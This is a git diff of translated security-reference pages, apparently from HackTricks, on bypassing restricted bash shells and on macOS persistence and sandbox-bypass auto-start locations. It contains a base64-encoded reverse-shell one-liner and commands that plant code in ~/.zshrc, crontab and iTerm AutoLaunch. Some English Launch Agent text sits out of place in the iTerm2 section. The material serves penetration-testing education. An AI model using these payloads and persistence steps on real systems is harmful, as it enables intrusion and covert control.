+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
\
-使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
+使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建和**自动化工作流程**,由全球**最先进**的社区工具驱动。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
diff --git a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
index 8b85cb37e..ea9e293cb 100644
--- a/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
+++ b/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
@@ -1,23 +1,24 @@
# 绕过Linux限制
+{% hint style="success" %}
+学习并练习AWS Hacking:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP Hacking:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
\
-使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
+使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由全球**最先进**的社区工具驱动。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -150,19 +151,11 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
# Decimal IPs
127.0.0.1 == 2130706433
```
-### 基于时间的数据泄露
+### 基于时间的数据外泄
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### 从环境变量中获取字符
-
-在某些情况下,您可能无法直接执行命令或访问文件,但可以访问环境变量。您可以使用以下命令从环境变量中提取字符:
-
-```bash
-echo ${PATH:0:1}
-```
-
-这将输出环境变量`PATH`的第一个字符。您可以更改`0`和`1`的值来提取不同位置的字符。
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
@@ -173,7 +166,7 @@ echo ${PATH:0:1} #/
### 内建命令
-如果您无法执行外部函数,只能访问**有限的内建函数来获得RCE**,那么有一些巧妙的技巧可以做到。通常您**无法使用所有**的**内建函数**,因此您应该**了解所有选项**以尝试绕过监狱。灵感来自[**devploit**](https://twitter.com/devploit)。\
+如果您无法执行外部函数,只能访问**有限的内建函数来获取RCE**,那么有一些巧妙的技巧可以做到。通常您**无法使用所有**的**内建函数**,因此您应该**了解所有选项**以尝试绕过监狱。灵感来自[**devploit**](https://twitter.com/devploit)。\
首先检查所有的[**shell内建命令**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**。** 然后这里有一些**建议**:
```bash
# Get list of builtins
@@ -290,7 +283,7 @@ ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
-### 用4个字符进行RCE
+### 4个字符的RCE
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
@@ -346,7 +339,7 @@ ln /f*
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
-
+
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由全球**最先进**的社区工具驱动。\
@@ -354,16 +347,17 @@ ln /f*
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% hint style="success" %}
+学习并练习AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-auto-start-locations.md b/macos-hardening/macos-auto-start-locations.md
index 3021325a4..c9c62f9df 100644
--- a/macos-hardening/macos-auto-start-locations.md
+++ b/macos-hardening/macos-auto-start-locations.md
@@ -1,50 +1,51 @@
# macOS自动启动
+{% hint style="success" %}
+学习和实践AWS Hacking:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践GCP Hacking:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
-- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
-本节内容主要基于博客系列[**超越传统的LaunchAgents**](https://theevilbit.github.io/beyond/),旨在添加**更多自动启动位置**(如果可能的话),指出**哪些技术仍然适用**于最新版本的macOS(13.4),并指定所需的**权限**。
+本节内容主要基于博客系列[**超越传统的LaunchAgents**](https://theevilbit.github.io/beyond/),旨在添加**更多自动启动位置**(如果可能的话),指出**哪些技术**在最新版本的macOS(13.4)中仍然有效,并指定所需的**权限**。
## 沙盒绕过
{% hint style="success" %}
-在这里,您可以找到对**沙盒绕过**有用的启动位置,允许您通过**将其写入文件**并**等待**一个非常**常见的** **操作**,一定的**时间**或通常可以在沙盒内执行的**操作**,而无需root权限。
+在这里,您可以找到有用于**绕过沙盒**的启动位置,允许您通过**将其写入文件**并**等待**一个非常**常见的** **操作**,一定的**时间**或通常可以在沙盒内执行的**操作**,而无需需要root权限。
{% endhint %}
### Launchd
-- 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
-- TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
+* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
+* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
#### 位置
-- **`/Library/LaunchAgents`**
- - **触发器**:重启
- - 需要Root权限
-- **`/Library/LaunchDaemons`**
- - **触发器**:重启
- - 需要Root权限
-- **`/System/Library/LaunchAgents`**
- - **触发器**:重启
- - 需要Root权限
-- **`/System/Library/LaunchDaemons`**
- - **触发器**:重启
- - 需要Root权限
-- **`~/Library/LaunchAgents`**
- - **触发器**:重新登录
-- **`~/Library/LaunchDemons`**
- - **触发器**:重新登录
+* **`/Library/LaunchAgents`**
+* **触发器**:重启
+* 需要Root权限
+* **`/Library/LaunchDaemons`**
+* **触发器**:重启
+* 需要Root权限
+* **`/System/Library/LaunchAgents`**
+* **触发器**:重启
+* 需要Root权限
+* **`/System/Library/LaunchDaemons`**
+* **触发器**:重启
+* 需要Root权限
+* **`~/Library/LaunchAgents`**
+* **触发器**:重新登录
+* **`~/Library/LaunchDemons`**
+* **触发器**:重新登录
{% hint style="success" %}
有趣的是,**`launchd`**在Mach-o部分`__Text.__config`中嵌入了一个属性列表,其中包含其他众所周知的服务,launchd必须启动这些服务。此外,这些服务可以包含`RequireSuccess`、`RequireRun`和`RebootOnSuccess`,这意味着它们必须运行并成功完成。
@@ -56,12 +57,12 @@
**`launchd`**是由OX S内核在启动时执行的**第一个** **进程**,也是在关机时完成的最后一个进程。它应该始终具有**PID 1**。此进程将**读取和执行**在以下**ASEP** **plist**中指示的配置:
-- `/Library/LaunchAgents`:由管理员安装的每个用户代理
-- `/Library/LaunchDaemons`:由管理员安装的系统范围守护程序
-- `/System/Library/LaunchAgents`:由Apple提供的每个用户代理
-- `/System/Library/LaunchDaemons`:由Apple提供的系统范围守护程序
+* `/Library/LaunchAgents`:由管理员安装的每个用户代理
+* `/Library/LaunchDaemons`:由管理员安装的系统范围守护程序
+* `/System/Library/LaunchAgents`:由Apple提供的每个用户代理。
+* `/System/Library/LaunchDaemons`:由Apple提供的系统范围守护程序。
-用户登录时,位于`/Users/$USER/Library/LaunchAgents`和`/Users/$USER/Library/LaunchDemons`中的plist将以**已登录用户的权限**启动。
+当用户登录时,位于`/Users/$USER/Library/LaunchAgents`和`/Users/$USER/Library/LaunchDemons`中的plist将以**已登录用户的权限**启动。
**代理和守护程序之间的主要区别在于代理在用户登录时加载,而守护程序在系统启动时加载**(因为有些服务如ssh需要在任何用户访问系统之前执行)。此外,代理可能使用GUI,而守护程序需要在后台运行。
```xml
@@ -89,7 +90,7 @@
有些情况下,需要在用户登录之前执行代理,这些被称为**PreLoginAgents**。例如,这对于在登录时提供辅助技术非常有用。它们也可以在`/Library/LaunchAgents`中找到(查看[**这里**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)一个示例)。
{% hint style="info" %}
-新的守护程序或代理配置文件将在**下次重启后加载**,或使用`launchctl load `。也可以使用`launchctl -F `加载没有扩展名的.plist文件(但这些plist文件在重启后不会自动加载)。\
+新的守护程序或代理配置文件将在**下次重启后加载**,或使用`launchctl load `。也可以使用`launchctl -F `加载没有扩展名的.plist文件(但这些.plist文件在重启后不会自动加载)。\
也可以使用`launchctl unload `来**卸载**(指向它的进程将被终止)。
为了**确保**没有**任何东西**(如覆盖)**阻止**一个**代理**或**守护程序** **运行**,运行:`sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
@@ -100,30 +101,30 @@
launchctl list
```
{% hint style="warning" %}
-如果一个 plist 文件是用户所有的,即使它在守护程序系统范围的文件夹中,**任务将作为用户而不是作为 root 执行**。这可以防止一些特权升级攻击。
+如果一个 plist 文件是由用户拥有的,即使它在守护程序系统范围的文件夹中,**任务将作为用户执行**而不是作为 root。这可以防止一些特权升级攻击。
{% endhint %}
#### 关于 launchd 的更多信息
-**`launchd`** 是从 **内核** 启动的 **第一个**用户模式进程。进程启动必须是 **成功的**,它 **不能退出或崩溃**。甚至对一些 **终止信号** 也有 **保护**。
+**`launchd`** 是从**内核**启动的**第一个**用户模式进程。进程启动必须是**成功的**,它**不能退出或崩溃**。甚至对一些**终止信号**也是**受保护**的。
-`launchd` 要做的第一件事情之一是 **启动** 所有的 **守护程序**,比如:
+`launchd` 要做的第一件事情之一是**启动**所有的**守护程序**,比如:
-* 基于时间执行的 **定时守护程序**:
+* 基于时间执行的**定时守护程序**:
* atd (`com.apple.atrun.plist`):具有 30 分钟的 `StartInterval`
* crond (`com.apple.systemstats.daily.plist`):具有 `StartCalendarInterval` 在 00:15 启动
-* 像这样的 **网络守护程序**:
+* 像**网络守护程序**一样:
* `org.cups.cups-lpd`:在 TCP 上监听(`SockType: stream`),使用 `SockServiceName: printer`
- * SockServiceName 必须是 `/etc/services` 中的端口或服务
- * `com.apple.xscertd.plist`:在端口 1640 上的 TCP 上监听
-* 当指定路径发生变化时执行的 **路径守护程序**:
+ * SockServiceName 必须是端口或 `/etc/services` 中的服务
+ * `com.apple.xscertd.plist`:在端口 1640 上监听 TCP
+* 当指定路径发生更改时执行的**路径守护程序**:
* `com.apple.postfix.master`:检查路径 `/etc/postfix/aliases`
* **IOKit 通知守护程序**:
* `com.apple.xartstorageremoted`:`"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
* **Mach 端口**:
* `com.apple.xscertd-helper.plist`:在 `MachServices` 条目中指示名称 `com.apple.xscertd.helper`
* **UserEventAgent**:
- * 这与前面的不同。它使 launchd 响应特定事件生成应用程序。但在这种情况下,涉及的主要二进制文件不是 `launchd` 而是 `/usr/libexec/UserEventAgent`。它从 SIP 受限制的文件夹 `/System/Library/UserEventPlugins/` 中加载插件,其中每个插件在 `XPCEventModuleInitializer` 键中指示其初始化器,或者在旧插件的情况下,在其 `Info.plist` 的 `CFPluginFactories` 字典下的键 `FB86416D-6164-2070-726F-70735C216EC0` 中指示其初始化器。
+ * 这与前面的不同。它使 launchd 为特定事件的响应生成应用程序。但在这种情况下,涉及的主要二进制文件不是 `launchd` 而是 `/usr/libexec/UserEventAgent`。它从 SIP 受限制的文件夹 `/System/Library/UserEventPlugins/` 中加载插件,其中每个插件在 `XPCEventModuleInitializer` 键中指示其初始化器,或者在旧插件的情况下,在其 `Info.plist` 的 `CFPluginFactories` 字典下的键 `FB86416D-6164-2070-726F-70735C216EC0` 中指示其初始化器。
### shell 启动文件
@@ -132,7 +133,7 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
* TCC 绕过:[✅](https://emojipedia.org/check-mark-button)
-* 但是你需要找到一个具有 TCC 绕过的应用程序,执行加载这些文件的 shell
+* 但是您需要找到一个具有 TCC 绕过的应用程序,执行加载这些文件的 shell
#### 位置
@@ -152,13 +153,13 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
* `/etc/profile`(未起作用)
* `~/.profile`(未起作用)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
- * **触发**:预期与 xterm 触发,但 **未安装**,即使安装后也会出现此错误:xterm: `DISPLAY is not set`
+ * **触发**:预期与 xterm 触发,但**未安装**,即使安装后也会出现此错误:xterm: `DISPLAY is not set`
#### 描述与利用
-当初始化 shell 环境(如 `zsh` 或 `bash`)时,**会运行某些启动文件**。macOS 目前使用 `/bin/zsh` 作为默认 shell。当启动终端应用程序或通过 SSH 访问设备时,将自动访问此 shell。虽然 macOS 中也存在 `bash` 和 `sh`,但需要显式调用才能使用。
+当初始化 shell 环境(如 `zsh` 或 `bash`)时,**会运行某些启动文件**。macOS 当前使用 `/bin/zsh` 作为默认 shell。当启动终端应用程序或通过 SSH 访问设备时,将自动访问此 shell。虽然 macOS 中也存在 `bash` 和 `sh`,但需要显式调用才能使用。
-我们可以通过 **`man zsh`** 阅读 zsh 的 man 页面,其中有关启动文件的详细描述。
+我们可以使用 **`man zsh`** 阅读 zsh 的 man 页面,其中有关启动文件的详细描述。
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
@@ -166,18 +167,18 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
### 重新打开的应用程序
{% hint style="danger" %}
-配置指定的利用方式,注销并重新登录,甚至重新启动都无法让我执行该应用程序。(应用程序未被执行,也许需要在执行这些操作时运行)
+配置指定的利用方式,注销并重新登录,甚至重新启动都无法让我执行该应用程序。(应用程序没有被执行,也许需要在执行这些操作时保持运行)
{% endhint %}
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
-* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
-* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
+* 有用的绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
+* TCC绕过: [🔴](https://emojipedia.org/large-red-circle)
#### 位置
* **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`**
-* **触发器**:重新启动时重新打开应用程序
+* **触发器**: 重新打开应用程序
#### 描述和利用
@@ -205,24 +206,24 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist
```
### 终端偏好设置
-* 有用以绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
-* TCC绕过:[✅](https://emojipedia.org/check-mark-button)
+* 有用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
+* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
* 终端用于拥有用户的FDA权限
#### 位置
* **`~/Library/Preferences/com.apple.Terminal.plist`**
-* **触发器**:打开终端
+* **触发器**: 打开终端
#### 描述与利用
-在**`~/Library/Preferences`**中存储了用户在应用程序中的偏好设置。其中一些偏好设置可以包含配置以**执行其他应用程序/脚本**。
+在**`~/Library/Preferences`**中存储了用户在应用程序中的偏好设置。其中一些偏好设置可以包含配置来**执行其他应用程序/脚本**。
-例如,终端可以在启动时执行一个命令:
+例如,终端可以在启动时执行一个命令:
-这个配置反映在文件**`~/Library/Preferences/com.apple.Terminal.plist`**中,如下所示:
+这个配置反映在文件**`~/Library/Preferences/com.apple.Terminal.plist`**中,如下所示:
```bash
[...]
"Window Settings" => {
@@ -255,14 +256,14 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist
### 终端脚本 / 其他文件扩展名
-* 用于绕过沙盒的有用工具:[✅](https://emojipedia.org/check-mark-button)
-* TCC绕过:[✅](https://emojipedia.org/check-mark-button)
+* 用于绕过沙盒的有用技术: [✅](https://emojipedia.org/check-mark-button)
+* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
* 终端用于拥有用户的FDA权限
#### 位置
* **任何地方**
-* **触发器**:打开终端
+* **触发器**: 打开终端
#### 描述 & 利用
@@ -296,28 +297,34 @@ open /tmp/test.terminal
# Use something like the following for a reverse shell:
echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;
```
+您还可以使用扩展名**`.command`**、**`.tool`**,带有常规shell脚本内容,它们也将被终端打开。
+
+{% hint style="danger" %}
+如果终端具有**完全磁盘访问权限**,它将能够完成该操作(请注意,执行的命令将在终端窗口中可见)。
+{% endhint %}
+
### 音频插件
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
-* 用于绕过沙箱: [✅](https://emojipedia.org/check-mark-button)
-* TCC绕过: [🟠](https://emojipedia.org/large-orange-circle)
+* 用于绕过沙箱:[✅](https://emojipedia.org/check-mark-button)
+* TCC绕过:[🟠](https://emojipedia.org/large-orange-circle)
* 您可能会获得一些额外的TCC访问权限
#### 位置
* **`/Library/Audio/Plug-Ins/HAL`**
* 需要Root权限
-* **触发器**: 重新启动coreaudiod或计算机
+* **触发器**:重新启动coreaudiod或计算机
* **`/Library/Audio/Plug-ins/Components`**
* 需要Root权限
-* **触发器**: 重新启动coreaudiod或计算机
+* **触发器**:重新启动coreaudiod或计算机
* **`~/Library/Audio/Plug-ins/Components`**
-* **触发器**: 重新启动coreaudiod或计算机
+* **触发器**:重新启动coreaudiod或计算机
* **`/System/Library/Components`**
* 需要Root权限
-* **触发器**: 重新启动coreaudiod或计算机
+* **触发器**:重新启动coreaudiod或计算机
#### 描述
@@ -327,8 +334,8 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
-* 用于绕过沙箱: [✅](https://emojipedia.org/check-mark-button)
-* TCC绕过: [🟠](https://emojipedia.org/large-orange-circle)
+* 用于绕过沙箱:[✅](https://emojipedia.org/check-mark-button)
+* TCC绕过:[🟠](https://emojipedia.org/large-orange-circle)
* 您可能会获得一些额外的TCC访问权限
#### 位置
@@ -348,13 +355,13 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
### ~~登录/注销挂钩~~
{% hint style="danger" %}
-对我来说这不起作用,无论是用户LoginHook还是root LogoutHook
+对我来说这行不通,无论是用户LoginHook还是root LogoutHook
{% endhint %}
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
-* 用于绕过沙箱: [✅](https://emojipedia.org/check-mark-button)
-* TCC绕过: [🔴](https://emojipedia.org/large-red-circle)
+* 用于绕过沙箱:[✅](https://emojipedia.org/check-mark-button)
+* TCC绕过:[🔴](https://emojipedia.org/large-red-circle)
#### 位置
@@ -388,12 +395,12 @@ oneTimeSSMigrationComplete = 1;
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
-根用户的启动位置存储在**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
+**根用户**的启动位置存储在**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
## 条件沙盒绕过
{% hint style="success" %}
-在这里,您可以找到有用于**绕过沙盒**的启动位置,允许您通过**将内容写入文件**并**期望不会出现非常普遍的条件**,比如特定的**已安装程序,"不常见"用户**操作或环境来简单执行某些操作。
+在这里,您可以找到对**沙盒绕过**有用的启动位置,允许您通过**将内容写入文件**并**期望不是非常常见的条件**(如特定**已安装的程序、"不寻常"用户**操作或环境)来简单执行某些操作。
{% endhint %}
### Cron
@@ -408,8 +415,8 @@ defaults delete com.apple.loginwindow LogoutHook
#### 位置
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
-* 需要 root 权限才能直接写入。如果可以执行 `crontab ` 则不需要 root 权限
-* **触发器**: 取决于 cron 作业
+* 需要 root 权限才能直接写入。如果您可以执行 `crontab `,则无需 root 权限
+* **触发器**:取决于 cron 作业
#### 描述和利用
@@ -424,9 +431,9 @@ crontab -l
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
-在这里你可以找到常规的**cron** **任务**,**at** **任务**(不太常用),以及**periodic** **任务**(主要用于清理临时文件)。 比如,可以使用`periodic daily`来执行每日的周期性任务。
+在这里,您可以找到常规的**cron** **作业**,**at** **作业**(不太常用),以及**periodic** **作业**(主要用于清理临时文件)。 比如,可以使用`periodic daily`来执行每日的周期性作业。
-要通过编程方式添加**用户cron任务**,可以使用:
+要通过编程方式添加**用户cron作业**,可以使用:
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
@@ -435,7 +442,7 @@ crontab /tmp/cron
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
-* 有用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
+* 用于绕过沙盒的有用工具: [✅](https://emojipedia.org/check-mark-button)
* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
* iTerm2曾经被授予TCC权限
@@ -448,7 +455,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
* **触发器**: 打开 iTerm
-#### 描述 & Exploitation
+#### 描述与利用
存储在 **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** 中的脚本将被执行。例如:
```bash
@@ -463,15 +470,15 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
#### Launch Agents
-Launch Agents are used to run commands when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
+Launch Agents are used to run processes when a user logs in. They are located in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
#### Launch Daemons
-Launch Daemons are used to run commands at system startup. They are stored in `/Library/LaunchDaemons/`.
+Launch Daemons are used to run processes at system boot or login. They are located in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`.
#### Login Items
-Login Items are applications that open when a user logs in. They are managed in `System Preferences > Users & Groups > Login Items`.
+Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
@@ -555,7 +562,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
-* 用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
+* 有用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
* 但必须安装 Hammerspoon
* TCC 绕过: [✅](https://emojipedia.org/check-mark-button)
* 它请求辅助功能权限
@@ -567,7 +574,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
#### 描述
-[Hammerspoon](https://github.com/Hammerspoon/hammerspoon) 作为 macOS 的自动化平台,利用 LUA 脚本语言进行操作。值得注意的是,它支持完整 AppleScript 代码的集成和 shell 脚本的执行,显著增强了其脚本编写能力。
+[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) 作为 **macOS** 的自动化平台,利用 **LUA 脚本语言** 进行操作。值得注意的是,它支持完整 AppleScript 代码的集成和 shell 脚本的执行,显著增强了其脚本编写能力。
该应用程序寻找一个单一文件,`~/.hammerspoon/init.lua`,并在启动时执行该脚本。
```bash
@@ -578,22 +585,22 @@ EOF
```
### BetterTouchTool
-* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
+* 用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
* 但必须安装BetterTouchTool
-* TCC绕过:[✅](https://emojipedia.org/check-mark-button)
+* TCC绕过: [✅](https://emojipedia.org/check-mark-button)
* 它请求Automation-Shortcuts和Accessibility权限
#### 位置
* `~/Library/Application Support/BetterTouchTool/*`
-这个工具允许指定应用程序或脚本在按下某些快捷键时执行。攻击者可能能够配置自己的**快捷键和操作以在数据库中执行任意代码**,使其执行任意代码(快捷键可能只是按下一个键)。
+这个工具允许指定应用程序或脚本在按下某些快捷键时执行。攻击者可能能够配置自己的**快捷键和操作以在数据库中执行任意代码**(一个快捷键可能只是按下一个键)。
### Alfred
-* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
+* 用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
* 但必须安装Alfred
